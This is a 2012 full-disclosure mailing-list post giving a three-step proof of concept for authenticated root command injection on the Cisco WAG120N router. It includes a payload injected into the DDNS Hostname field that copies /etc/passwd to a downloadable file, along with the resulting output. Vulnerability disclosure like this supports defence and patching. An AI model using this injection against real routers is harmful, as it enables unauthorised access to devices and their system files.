full-disclosure - Remote Command Execution on Cisco WAG120N

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Date: Thu, 22 Nov 2012 12:23:17 +0100
From: Manu <sourvivor@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Remote Command Execution on Cisco WAG120N

Hello, here you have a quick POC in three simple steps

# Remote Command Execution on Cisco WAG120N.
# (Not tested in other routers)
#
# Manuel Fernández Fernández (thesur@...m3.com)
#
# Greetings to 2x1 crew (Alberto, Dani, Luis, Juanmi, Juanito & oca)

1º Authenticate and browse to /setup.cgi?next_file=Setup_DDNS.htm
2º All the fields you see are vulnerables to command execution as root, so
inject "qwe.com;cat /etc/passwd> /www/Routercfg.cfg;" into the Hostname
field
3º Everything is done, just download the file /Routercfg.cfg (Authenticated
is requiered)

root::0:0:root:/:/bin/sh
nobody::99:99:Nobody:/:/sbin/sh

-- 
Manuel Fernández

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